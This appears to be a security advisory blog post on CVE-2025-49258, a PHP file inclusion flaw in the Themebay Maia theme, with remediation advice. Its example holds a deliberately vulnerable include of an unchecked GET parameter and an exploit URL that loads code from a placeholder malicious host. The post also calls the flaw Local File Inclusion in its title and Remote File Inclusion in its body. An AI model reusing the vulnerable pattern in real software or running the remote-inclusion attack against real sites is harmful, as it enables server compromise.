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CVE-2025-49258: Critical PHP Local File Inclusion Vulnerability in Themebay Maia

Overview

The CVE-2025-49258 vulnerability pertains to an improper control of the filename for Include/Require Statement in PHP Program, more commonly known as ‘PHP Remote File Inclusion’ vulnerability. This vulnerability impacts Themebay Maia, a popular software product, potentially leading to system compromise or data leakage, hence its CVSS severity score of 8.1. This blog post aims to provide a comprehensive understanding of this vulnerability, highlighting why it matters, who it affects, and the steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-49258
Severity: Critical (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

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Product | Affected Versions

Themebay Maia | n/a through 1.1.15

How the Exploit Works

The vulnerability lies in the improper control of the filename in the Include/Require statement of a PHP program. An attacker could potentially manipulate this flaw to include a file from a remote server that contains malicious PHP code. Upon execution of the code, the attacker could gain unauthorized access to the system, leading to a system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

<?php
// The vulnerable code
$incfile = $_GET['file'];
include($incfile . ".php");
// The exploit
// Access the URL http://<target_site>/<vulnerable_page>?file=http://<malicious_site>/malicious_file
?>

In the above example, the attacker modifies the ‘file’ GET parameter in the URL to include a PHP file from a remote, malicious server.

Remediation

As a mitigation measure, it is recommended to apply the vendor patch as soon as it becomes available. If immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. It is also crucial to enforce proper input validation techniques, such as whitelisting of acceptable inputs, to prevent such vulnerabilities in the future.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.
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